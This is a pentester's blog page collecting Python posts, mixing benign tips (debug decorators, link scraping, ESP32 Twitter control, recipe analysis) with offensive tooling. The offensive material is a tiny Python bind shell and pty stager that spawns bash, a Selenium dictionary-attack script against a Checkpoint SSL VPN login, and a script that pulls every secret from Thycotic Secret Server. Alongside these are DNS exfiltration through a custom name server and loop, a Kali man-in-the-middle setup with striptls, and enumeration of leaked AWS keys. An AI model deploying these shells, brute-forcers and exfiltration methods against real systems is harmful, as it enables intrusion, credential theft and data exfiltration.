Showing posts with label Python. Show all posts
Showing posts with label Python. Show all posts

Wednesday, July 15, 2020

Python Debugging: Output Function Name and Args

Sprinkling print statements everywhere gets annoying so here is a decorator that does 99% of what I need when it comes to debugging function input.



Wednesday, February 12, 2020

A Better, More Modern, HTML Link Grabber

Lots of examples of HTML <a> link grabbers simply parse the source code of the page for a links and output that. I'm sure I don't need to say that technique is antiquated and doesn't really work that well with modern web applications and front-end frameworks. Everybody and their mother just loves modifying HTML using javascript. The old method would miss that stuff badly.

Take the following HTML file for example:

<html>
    <head>
        <body>
            <a href="http://example.com/plain-html-a-link">html-link</a>
            <a id=jsalink href=placeholder>jsalink</a>
        <script>
            var jslink = document.getElementById("jsalink")
            jslink.href = "http://example.com/js_a_link"
        </script>
        </body>
    </head>
</html>

There are obviously two A links there, but one of them is being modified by JS. This dynamic modification of elements is extremely common today. So what happens if you use the old method of getting A links?

$ curl localhost:8000/jsalink.html 2>/dev/null | grep '<a'
            <a href="http://example.com/plain-html-a-link">html-link</a>
            <a id=jsalink href=placeholder>jsalink</a>

Well that obviously didn't work... How about using the BeautifulSoup python module?

$ python3 atu-getlinks.py http://localhost:8000/jsalink.html
http://example.com/plain-html-a-link
http://localhost:8000/placeholder

Also no...The best way i've found to do it is to actually have a browser engine parse the entire file and execute the JS, and then grab all the a links by issuing a command to the JS interpreter. I wrote the following script to do exactly that. It uses the Chrome browser in headless mode to perform all the parsing, and then via selenium, issues a JS statement to grab all the A links:


Running this results in:

$ python3 selenium-getlinks.py http://localhost:8000/jsalink.html
http://example.com/plain-html-a-link
http://example.com/js_a_link

That's more like it.

PS. This is still not "perfect" since certain frameworks will change content via certain event handlers. This handles some (e.g. DOMContentLoaded), but not others (e.g. onclick events). You kinda just have to deal with that. Making a script to identify changes based on all event handlers would likely be extremely risky.

Thursday, December 12, 2019

Pillage Thycotic Secret Server

If you want to grab all the secrets from Thycotic's secret server, use the SOAP API to pull them out. Assuming you have valid domain creds, run the following script.


#!/usr/bin/env python3
from zeep import Client

#Connect to the soap api endpoint
client = Client("https://secretserver.example.com/SecretServer/webservices/SSWebservice.asmx?wsdl")
#grab your auth token for all your requests
token = client.service.Authenticate("user_here", "pass_here", "", "domain_here")
#grab all secrets for the user
searchSecret = client.service.SearchSecrets(token.Token, "*")
#output the secret values for each secret
for secret in searchSecret.SecretSummaries.SecretSummary:
     print(client.service.GetSecret(token.Token, secret['SecretId']))

Friday, December 21, 2018

Python - Choose a Function at Random

If you need to randomly select from a number of defined functions, this is a simple way to achieve that:

import random

def function_A(some_var):
    return("{} - A".format(some_var))

def function_B(some_var):
    return("{} - B".format(some_var))

def function_C(some_var):
    return("{} - C".format(some_var))

#Run a random function with the input of "blahblah"
random.choice([function_A, function_B, function_C])("blahblah")
#do it as many times as you'd like, and you'll get different results
random.choice([function_A, function_B, function_C])("blahblah")
random.choice([function_A, function_B, function_C])("blahblah")
random.choice([function_A, function_B, function_C])("blahblah")
random.choice([function_A, function_B, function_C])("blahblah")

Tuesday, September 18, 2018

Saner Bash Commands Inside Python

As great as Python is, sometimes the dev's make really weird decisions regarding defaults. A perfect example is running shell commands inside Python 3+. For some reason the dev thought it was a good idea to make the subprocess "run" method _not_ capture the output from stdout or stderr by default. I find this incredibly annoying and it constantly result in me having to look up the syntax since I always forget it.

I decided to instead have this little helper function to encapsulate what I consider to be saner defaults. I decode the bytes into utf8 since thats the output for 99% of all bash commands.

#!/usr/bin/env python3
import subprocess

def run_cmd(cmd):
    result = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    result.stdout = result.stdout.decode('utf8')
    result.stderr = result.stderr.decode('utf8')
    return result

Running that function will execute whatever command you pass it (insecure, but use it appropriately) and returns an object that you can then check the return code, stdout, and stderr.

So now, it's just:
In [25]: if 'root' in run_cmd('whoami').stdout:
   ....:             print("you are root")
   ....:
you are root

Thursday, August 30, 2018

Download All Corporate Git Repos

Depending on the client you are testing, they may have an internal development team that checks code into a git repo. The vast majority of the clients I've seen implement the Atlassian suite of tools, typically containing an internally hosted Bitbucket.

The Bitbucket web interface has a search feature for looking for code snippets. It's absolutely awful. It's like an off brand tonka toys reject of a search function. You know what's way better? grep. That means I'd have to download every repo to search it locally. I did that with this script:

It's handy to note that grepping isn't the only good thing about cloning repos locally. It allows you to run the myriad of vuln checker tools, load up the code into an IDE and run source/sink analysis on it, and much more.

Wednesday, August 29, 2018

Brute Force LDAP Names (or how I kinda downloaded LDAP)

Running queries over a network using the ldapsearch tool can be a bit annoying. It's especially annoying when you constantly run into the "size limit exceeded" result when you get large responses.

I decided to write a little tool to recursively and conditionally search LDAP for CN entries (basically AD account names) and download them locally. If it detects the error size limit error, it automatically adds a new character to drill even further.

It works fantastically well. After you run this tool you should have many .out files containing ldap query responses. Grep to your hearts content:

Wednesday, August 15, 2018

Twitter Controlled Anything - Micropython on ESP32

I recently purchased an ESP32 from amazon for testing purposes and a colleague mentioned you could install a minimalist python environment on them for control. To say the least, I was intrigued.

I wanted to be able to control a light (or anything really) using tweets. Below are the instructions/scripts I wrote to get it working. First comes the prerequisites:
  • ESP32 (duh)
  • A VPS, Pi, or really any computer acting as a flask server (it just needs internet access)
  • A wifi network for the ESP32 to connect to, I just used the hotspot on my phone as a PoC
  • Twitter API credentials (really easy to get, just fill out the forms)
TLDR:
Your ESP32 will query your flask server for a trigger word to enable the LED. The Flask server will query twitter for your latest top tweet, if it has a trigger word in it, relay that to the esp32 client. Boom, tweet causes LED to turn on.

The first step is to get your ESP32 setup running the micropython environment. I followed this excellent guide

Once you get your ESP32 configured to run python code, go ahead and transfer the following script to act as the client. You just need to change the wifi details and target flask server:

import machine
import urequests
import time

pin = machine.Pin(2, machine.Pin.OUT)

def connect():
    import network
    sta_if = network.WLAN(network.STA_IF)
    if not sta_if.isconnected():
        print('connecting to network...')
        sta_if.active(True)
        sta_if.connect('WIFINETWORKSSIDHERE', 'WIFIPASSWORDHERE')
        while not sta_if.isconnected():
            pass
    print('network config:', sta_if.ifconfig())

def no_debug():
    import esp
    # this can be run from the REPL as well
    esp.osdebug(None)

no_debug()
connect()

while True:
    time.sleep(2)
    if 'yes' in urequests.get('http://MYFLASKDOMAINHERE.com:5000').text:
        pin.value(1)

Connect the LED to Pin 2 on the ESP32 and it's all set to go. Now onto the flask server...

On your VPS/Pi/whatever, install flask and tweepy and create a directory to hold your script files. Grab the Access Token, Access Secret, Consumer Secret, Consumer Key from your Twitter Dev console that you set up earlier and place them in a "twitter_creds.py" file like the following:

ACCESS_TOKEN = '18077065-lakjsdflkajshdlfkajshdflkajsdhqqSYOtHSXtK1'
ACCESS_SECRET = 'hPqlkwjehrlkfjnlqwejhqrwklejrqhlwkejrJr1'
CONSUMER_KEY = 'QZlk9qlkwejrhqlkwjerhlqwlLh'
CONSUMER_SECRET = 'uEnkzjxcnvluqblwjbefkqwlekjflkqjwehflqlkjhuOE'

Then paste the following into "tweepy-top.py"

from twitter_creds import *

import tweepy

auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)
auth.set_access_token(ACCESS_TOKEN, ACCESS_SECRET)

api = tweepy.API(auth)

def get_top_tweet():
    top_tweet = api.user_timeline(count=1)
    return top_tweet[0].text

Now create your main flask app by pasting the following into "flaskhello.py":

from flask import Flask
from tweepy_top import get_top_tweet

app = Flask(__name__)

@app.route("/")
def hello():
    if 'light' in get_top_tweet():
        return 'yes'
    else:
        return 'no'

if __name__ == "__main__":
  app.run(host="0.0.0.0", threaded=True)

There you can see 'light' is used as the trigger word. Using this setup, every 2 seconds the esp32 will make a request to your flask server, which causes the flask server to query twitter for the user's top tweet, if the top tweet contains the word "light" in it, it returns the string "yes". The ESP32 recognizes the "yes" and turns on pin 2.

This is a very simple PoC and gets the job done. You can take this and expand in a thousand directions with it, some ideas:

  • A desktop counter that keeps track of your followers, retweets, likes, etc
  • A LED scroller that outputs your latest mentions
  • Or simply use twitter as the control for some device
The options are endless...enjoy :D

Thursday, August 2, 2018

Top 100 Ingredients From HomeChef Recipes

I love cooking, I consider it my primary hobby outside of infosec/coding. I had HomeChef for several months and absolutely loved it, I looked forward to each selection every week and always got to try some new techniques/flavors/combinations I probably would never had tried on my own.

Every meal they sent us had a double-sided recipe page to guide you through the process. I noticed something at the bottom of the recipe page:

They have a handy link for each recipe posted on their website, probably so it's easy to share what you made with family/friends. The fact that I saw a number, along with a list of ingredients got my thinking...

If I were to stock my pantry/fridge with "basic" ingredients, what would it look like? How about I count up the occurrences of certain ingredients on each recipe page, that should give me a good idea.

Well after gathering the data over a couple of days (I kept everything slow so as to not cause any problems) I present to you, the top 100 ingredients according to recipes on HomeChef.com

Count Ingredient
609 Garlic Cloves
433 Butter
345 Boneless Skinless Chicken Breasts
320 Green Onions
315 Shallot
219 Lemon
210 Sour Cream
208 Lime
202 Red Onion
186 Grape Tomatoes
178 Red Bell Pepper
170 Parsley Sprigs
158 Yellow Onion
154 Mayonnaise
153 Red Pepper Flakes
152 Honey
149 Liquid Egg
148 Cremini Mushrooms
142 Russet Potatoes
142 Green Beans
138 Jasmine Rice
135 Cilantro Sprigs
134 Sugar
131 Chopped Ginger
125 Baby Arugula
122 Grated Parmesan Cheese
119 Carrot
117 Roma Tomato
114 White Cooking Wine
104 Baby Spinach
102 Grated Parmesan
101 Panko Breadcrumbs
100 Light Cream
100 Shredded Mozzarella
99 Slaw Mix
98 Jalapeño Pepper
95 Cilantro
95 Shrimp
94 Thyme Sprigs
93 Zucchini
93 Garlic Clove
89 Parsley
88 Sriracha
87 Dijon Mustard
84 Sirloin Steaks
82 Cornstarch
76 Heavy Whipping Cream
76 Light Brown Sugar
75 Seasoned Rice Vinegar
74 Romaine Heart
73 Pork Tenderloin
72 Kale
72 Shredded Cheddar Cheese
72 Asparagus
71 Sweet Potato
71 Flour
69 Roasted Red Peppers
69 Spinach
69 Ground Beef
68 Salmon Fillets
68 Matchstick Carrots
68 Toasted Sesame Oil
62 Brussels Sprouts
62 Soy Sauce - Gluten-Free
61 Carrots
60 Mini Baguette
57 Small Flour Tortillas
57 Persian Cucumber
57 Basil Pesto
56 Green Onion
56 Ground Turkey
54 Teriyaki Glaze
54 Radishes
54 Red Fresno Chile
53 Beef Demi-Glace
52 Ear of Corn
51 Basil Sprigs
51 Roasted Chicken Breast
50 Roma Tomatoes
50 Blue Cheese
50 Canned Evaporated Whole Milk
49 Marinara Sauce
49 Extra Firm Tofu
48 Smoked Paprika
47 Balsamic Vinegar
47 Naan Flatbreads
47 Bacon Strips
47 Chicken Demi-Glace
46 Taco Seasoning
45 Avocado
45 Broccoli Florets
45 Frozen Peas
44 Chives
44 Corn Kernels
44 Plain Greek Yogurt
44 Tilapia Fillets
43 Navel Orange
43 Feta Cheese
43 Bone-in Pork Chops

What would a post be without some code? below is the embarrassing Python script (hey, it worked...) that parses the HTML:

XPATH Notes (how to grep xpath)

XPATH is a querying language for XML document trees. Lots of web scrapers use it since HTML can be represented as XML directly.

Your basic "grep" like XPATH query is something like the following:

  • //*[@itemprop="recipeIngredient"]
Breakdown:

  • // = start at root of tree and include itself in any searches
  • * = any tag, anywhere in the document, otherwise replace with tag name
  • [blah] = evaluate the condition blah inside the brackets
  • @itemprop = This is how you reference attributes instead of tags
  • [@itemprop] = the condition is: if the itemprop attribute exists in some tag
  • [@itemprop="recipeingredient"] = condition is: if itemprop attribute's value is "recipeingredient"
Another example is if I wanted to search anything that references example.com in an XML document, I'd search for any href attribute that contains "example.com" like so:
  • //*[@href='example.com']
Or limit it just to direct hyperlinks like "a" tags
  • //a[@href='example.com]
XPATH has a lot more functionality than this but this is mostly what I need it for.

PS.
The expression in the condition brackets "[blah]" can be used with certain functions: https://www.w3schools.com/xml/xpath_syntax.asp

Wednesday, August 1, 2018

Finding Interesting Files Using Statistical Analysis

I noticed a pattern when scrounging for target data on pentests. Most of the times in which I get valuable data (test creds/log data/unencrypted logs/etc) they are often in files that are in some way different than those around them. Sometimes its their filename, like when you have 400 files named "NightlyLogDATE" and you see a "NightlyLogDATE.bak". It also tends to happen with file sizes. You'll have the same directory and almost every file is around 400-600KB and a couple will be megabytes big or only a couple KB.

These files are "interesting" to me because they differ in some way. These are the outliers. Sometimes they will be temporary backup files where a tech needed to test credit card processing with encryption turned off, or maybe some error pumped traceback/debug output to an otherwise normal file.

I decided to scrounge around online to stitch together a script that will report these outlier files.

The following script will look in the target directory, calculate the median absolute deviation, compare it against a threshold and return the filenames for you to prioritize pillaging.

It's fairly basic so I'm happy to accept any code donations :D


Wednesday, July 25, 2018

Setting Up A Kali Interception VM

Twice now I've had to setup an interception proxy for testing protocol implementations. Below are the steps I took to configure the Kali VM as my main MITM box. I decided to not use a MITM attack like ARP Spoofing but instead setup Kali as a middling router. The networking setup is rather simple:
TargetDevice (over USB Ethernet adapter)-> Kali VM (Bridged Mode) -> Laptop's Wifi


  1. Download/install Kali as a virtual machine
  2. Set the VM in bridged mode (VMware breaks some things)
  3. Follow the guide here to get Internet sharing configured on Kali: http://itfanatic.com/?q=node/84
  4. Create an iptables rule to redirect your target traffic to your proxy software. Here i'm redirecting all traffic over 443 to 2020 (where striptls is listening): iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 2020
  5. Download striptls from github
  6. Run it locally with something like: ./striptls.py -s --listen 0.0.0.0:2020 --remote exampletarget.com:443
Running striptls is obviously not mandatory since step 3 configured a working middle machine. I just used it in my testing to strip the TLS command from XMPP and HTTPS. You now have a machine all traffic is flowing through and is at your disposal to do with as you wish.

Friday, March 23, 2018

Resume Your Script After Canceling It

Several times in the past I had to write a script that iterates over a dictionary file, or brutes something on a web login or whatever. Often you like to make modifications to the script forcing you to cancel it, edit it, and start it over. The starting over part is what I hate. It took me a while to realize this (I has the dumb) but you can easily create a resume-like function in your scripts. Just use a counter!

For example your original function is something like this:
for thing in things:
    result = haxor_the_thing(thing)
    print("{} resulted in {}".format(thing,result))

Which is your basic for loop in python, nothing new here. But lets say you ran that for a while and it outputted a couple hundred lines. You don't want to start all over again right? You need to make an edit, so you ctrl-c it, edit it, and also add in this little bit:
count = 0
for thing in things:
    if count < 243:
        result = haxor_the_thing(thing)
        print("{} resulted in {}".format(thing,result))
    count += 1

That's it. The "243" is just the number of times it ran and where it should start off again. So what happens here is the script begins, sees the count = 0 and doesnt run the "haxor_the_thing()" function. It won't run it until it sees a value higher than 243, thereby skipping the first 243 entries and restarting the function on the 244th entry.

If I have to cancel it again, I do a quick copy paste of the output, count lines in ST3, and just add "if count < 243 + 534:". This is obviously not the _best_ way to do this, but it sure as hell is fast.

I mean, this may seem obvious to certain people but this makes a person's life much easier.

Monday, March 19, 2018

Convert IP Notation - (X.X.X.X-X.X.Y.Z -> Individual IPs)

I was provided a list of IPs and ranges, most of them were in the format of 1.1.1.1-1.1.1.4. Nmap doesnt like this format, nmap likes the format of 1.1.1.1-4. This is easy if everything is a /24. Most of my ranges were not. I used the iptools python module written for Django to parse the IPs. All I had to do was supply a file formatted properly (no spaced in between the dash) and boom, each possible IP was spit out:

Tuesday, February 20, 2018

Reddit Watcher - Watch All Reddit Posts For Special Keyword

I was playing around last night with the Reddit API and found that it allows for streaming content to /r/all. This effectively means that every (public) submission can be parsed and played with. I decided to write a small script to check if a certain keyword is in the title of the submission.

You can do extend this in a bunch of other ways:
  • Instead of printing to screen, send to twilio or OSX popups
  • Extend the keyword checking to the content or their comments
  • Restrict the catchall subreddit /r/all to something more specific like /r/netsec
  • Pump the submission through sentiment analysis and graph over time to figure out if people hate you
Below is the code for the script:
#!/usr/bin/env python3

import praw
keyword = " i "
client_id = 'x-CLIENTIDHERE'
client_secret = 'ioID-CLIENTSECRETHERE'
user_agent = 'OSX:myscripthere:v1.0 (by /u/myuserhere)'
reddit = praw.Reddit(client_id=client_id,
                     client_secret=client_secret,
                     user_agent=user_agent)

for submission in reddit.subreddit('all').stream.submissions():
    if keyword in submission.title.lower():
        print('https://reddit.com/%s : /r/%s - %s ' % (submission.id, submission.subreddit, submission.title))

Once you run that with your specific OAUTH details, you'll get streaming submissions outputted to your screen:

Currently the script is only triggering if the word " I " is in the post (for testing), obviously change to your specific keyword.

Tuesday, June 20, 2017

Attacking Complex Web Application Login Forms

Requests, Mechanize, and other HTTP clients or web scrapers are wonderful for automating a variety of tasks against web servers. Many times, if you want to brute force a login against some web app you can just use tools like those or Burp Intruder or whatever else strikes your fancy.

But sometimes, you run across a web app that does some ungodly Javascript hashing/mangling/demonic incantations to your input. When you see these situations, you need to have a tool parse, understand, and even execute the Javascript from your page.

I have found PhantomJS to be a fantastic tool to help with that. I use it as my "browser" for Selenium scripts and it works the same way, but this is all headless, no need for Firefox or Chrome windows to pop up and start clicking things. It all happens in the background transparently.

I recently came across a Checkpoint SSL VPN that I wanted to try a dictionary attack against. I wrote the following temporary script to accomplish it. It's not speedy, but then again that introduces a pseudo-sleep timer I was going to put in anyway.

I pasted the login combinations in the logins dict and ran it.

#!/usr/bin/env python3

from selenium import webdriver
from selenium.webdriver.common.keys import Keys

logins = {'user1':'pass1', 'user2':'pass2'}

for username, password in logins.items():
 driver = webdriver.PhantomJS()
 driver.set_window_size(1024, 768)
 driver.get('https://CHECKPOINTSSLVPN/sslvpn/Login/Login')
 usernamefield = driver.find_element_by_name('userName')
 usernamefield.send_keys(username)
 passwordfield = driver.find_element_by_name('loginInput')
 passwordfield.send_keys(password)
 passwordfield.send_keys(Keys.RETURN)
 errormsg = driver.find_element_by_id('ErrorMsg').text
 print(username + ':' + password + ' = ' + errormsg)
 driver.close()

UPDATE:
It turns out that phantomjs will return a completely empty page without any sort of error if it encounters an invalid SSL certificate. You can easily account for this by changing:
 driver = webdriver.PhantomJS()
to:
driver = webdriver.PhantomJS(service_args=['--ignore-ssl-errors=true'])

Listing SOAP Services In Python

If you found a WSDL, you could of course just read the XML and figure out what it's doing, or you can use the Python module zeep to do it for you:

$ python -mzeep http://www.dataaccess.com/webservicesserver/numberconversion.wso?WSDL

Prefixes:
     ns0: http://www.dataaccess.com/webservicesserver/
     xsd: http://www.w3.org/2001/XMLSchema

Global elements:
     ns0:NumberToDollars(dNum: xsd:decimal)
     ns0:NumberToDollarsResponse(NumberToDollarsResult: xsd:string)
     ns0:NumberToWords(ubiNum: xsd:unsignedLong)
     ns0:NumberToWordsResponse(NumberToWordsResult: xsd:string)


Global types:
     xsd:anyType
     xsd:ENTITIES
     xsd:ENTITY
     xsd:ID
     xsd:IDREF
     xsd:IDREFS
     xsd:NCName
     xsd:NMTOKEN
     xsd:NMTOKENS
     xsd:NOTATION
     xsd:Name
     xsd:QName
     xsd:anySimpleType
     xsd:anyURI
     xsd:base64Binary
     xsd:boolean
     xsd:byte
     xsd:date
     xsd:dateTime
     xsd:decimal
     xsd:double
     xsd:duration
     xsd:float
     xsd:gDay
     xsd:gMonth
     xsd:gMonthDay
     xsd:gYear
     xsd:gYearMonth
     xsd:hexBinary
     xsd:int
     xsd:integer
     xsd:language
     xsd:long
     xsd:negativeInteger
     xsd:nonNegativeInteger
     xsd:nonPositiveInteger
     xsd:normalizedString
     xsd:positiveInteger
     xsd:short
     xsd:string
     xsd:time
     xsd:token
     xsd:unsignedByte
     xsd:unsignedInt
     xsd:unsignedLong
     xsd:unsignedShort

Bindings:
     Soap11Binding: {http://www.dataaccess.com/webservicesserver/}NumberConversionSoapBinding
     Soap12Binding: {http://www.dataaccess.com/webservicesserver/}NumberConversionSoapBinding12

Service: NumberConversion
     Port: NumberConversionSoap (Soap11Binding: {http://www.dataaccess.com/webservicesserver/}NumberConversionSoapBinding)
         Operations:
            NumberToDollars(dNum: xsd:decimal) -> NumberToDollarsResult: xsd:string
            NumberToWords(ubiNum: xsd:unsignedLong) -> NumberToWordsResult: xsd:string

     Port: NumberConversionSoap12 (Soap12Binding: {http://www.dataaccess.com/webservicesserver/}NumberConversionSoapBinding12)
         Operations:
            NumberToDollars(dNum: xsd:decimal) -> NumberToDollarsResult: xsd:string
            NumberToWords(ubiNum: xsd:unsignedLong) -> NumberToWordsResult: xsd:string

Zeep seems to be the best SOAP client for Python. It's written on top of python Requests, it's well documented, and works on both Python 2 & 3.

Friday, June 16, 2017

Smallest Python Bind Shell

    As a followup to my previous post about making the smallest python reverse bind shell, A coworker ran into a situation where outbound connections were not allowed. So I decided to change the code to be a bind shell instead of a reverse-connect shell.

    This version simply sits and listens on the specified port for input, and then executes whatever text it receives as python code. Just like with the reverse-bind shell, I'm sure this would more accurately be classified as a stager since the meat of the code is actually sent when you connect to the socket, as you'll see later.

If you're able to execute Python code on the target machine and have limited space for injections (SQL/limited command injection/whatever) this 105 character tweet-able bind shell may work for you:

import socket as a
s = a.socket()
s.bind(('127.1',2425))
s.listen(1)
(r,z) = s.accept()
exec(r.recv(999))

Once this is executed on the victim machine, you then connect to it with netcat/ncat.

$ ncat localhost 2425 -v
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:2425.

Then paste in the following line. Once it's pasted in, don't hit enter like you'd expect, hit CTRL-D so your terminal sends the EOF signal. Once you hit CTRL-D it will pop a shell for you to have fun with.

import pty,os;os.dup2(r.fileno(),0);os.dup2(r.fileno(),1);os.dup2(r.fileno(),2);pty.spawn("/bin/bash");s.close()

And boom, shell:

$ ncat localhost 2425 -v
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:2425.
import pty,os;os.dup2(r.fileno(),0);os.dup2(r.fileno(),1);os.dup2(r.fileno(),2);pty.spawn("/bin/bash");s.close()

[09:41:21][victim]@[victimhost:~]$ pwd
pwd
/Users/victim
[09:41:23][victim]@[victimhost:~]$

PS. The bind shell code is saying to bind to port 2425, which is just to make it not require root privileges. If you don't have root, you won't be able to bind it to any port less than 1024.

PPS. As with the reverse shell, I simply haven't found anything smaller. I'm sure there is some Python wizardry to make it smaller, but this is good enough for most purposes.

EDIT:
     I was reminded that IPs can be shortened mathematically and it does in fact work with the socket library. I changed the above bind line to '127.1' since it is equivalent to and shorter than 'localhost'. This brings the overall size from 109 characters to 105. Granted that won't matter when yo put in your own server for an actual attack but whatever. IT STILL COUNTS.

Thursday, February 23, 2017

Enumerate Leaked AWS API Key Access

Sometimes on a pentest engagement (or from https://gitleaks.com) you'll come across some AWS API keys. If you want to know what those keys have access to, I've decided to make a script that runs through various AWS services API endpoints to list access to them. You can do this using the awscli tool but I find it less than ideal to deal with and the JSON you have to parse can be annoying.

So I decided to write a tool since I couldn't find one online. This tool is pretty simple, it simply takes in an access key and secret key often used in configurations and connect scripts. It then goes one by one to each service and queries useful information such as Dynamo DB table names, S3 bucket names and how many objects are in each one.

So for example, let's say during your recon/OSINT phase you discover some AWS API creds exposed on gitleaks or some config file. (The screenshot obviously isn't a client, just a random entry in gitleaks)

You take the "Access Key" and "Secret Key" and pump them into the AWSEnumerator script:
$ ./AWSEnumerator.py AKXXXXXXXXXXXXXXXXXA ENtXXXXXXXXXXXXXXXXXq
Checking for S3 buckets
  Total # of buckets: 9
    Bucket: bucket1 [8 objects]
    Bucket: bucket2 [1000 objects]
    Bucket: bucket3-dev [1000 objects]
    Bucket: bucket4 [1 objects]
    Bucket: bucket5 [747 objects]
    Bucket: otherbucket [1000 objects]
    Bucket: morebucket [54 objects]
    Bucket: whereismahbucket [26 objects]
    Bucket: ilikefish [95 objects]
Checking for EC2 Instances
  Total # of EC2 Instances: 2
    Instance: t2.nano - 52.570.576.548 - running
    Instance: t2.small - stopped
Checking for Lightsail Instances
  Total # of Lightsail instances: 1
    Name: enumtest1, Username: ubuntu, IP: 254.244.198.296, State: running
Checking for DynamoDB Tables
  Total # of DynamoDB Tables: 2
    Table Name: tabletest
    Table Name: test2
This information is fantastic for both reporting purposes as well as possibly escalating access or obtaining sensitive information.

Currently, the script supports:
  - EC2 Instances (type, IP, status)
  - S3 Buckets (name, number of objects)
  - Lightsail Instances (name, username, IP, state)
  - DynamoDB (table name)

I am planning on adding support for additional services as time goes on.

The tool can be found at https://github.com/atucom/AWSEnumerator

Friday, February 3, 2017

Super Simple DNS Exfiltration

I needed to test if I got command execution on a target box. Pretty much every outbound port was blocked. Luckily, it's extremely rare for people to turn off outbound UDP port 53 so DNS queries can still make it through.

In order for you to get a basic DNS exfil setup to work you'll need a couple things:
  1. A VPS to sniff the DNS queries
  2. A domain to direct the DNS queries to
The first step is to configure an NS record for a subdomain of your main domain. I simply created an NS record for e.domain.tld (replace domain.tld with your domain) and pointed it to the IP address of VPS.

Now when someone requests somedata.e.domain.tld the UDP request packet will go to the VPS IP. Run tshark/tcpdump to grab the request and prove if you have command execution or not.

I partially wrote the following python script to just parse out the domain name being requested.

#!/usr/bin/env python2

from scapy.all import *
from scapy.layers.dns import DNSRR, DNS, DNSQR

def handlepkt(p):
  #thanks stackoverflow!
  if p.haslayer(DNS):
      if p.qdcount > 0 and isinstance(p.qd, DNSQR):
          name = p.qd.qname
      elif p.ancount > 0 and isinstance(p.an, DNSRR):
          name = p.an.rdata
      print name

sniff(iface=eth0, filter="udp and port 53", store=0,  prn=handlepkt)

Since your DNS settings are configured properly, just start the python sniffer and run something like

for i in *; do host $i.e.domain.tld; done

And watch the requests come in.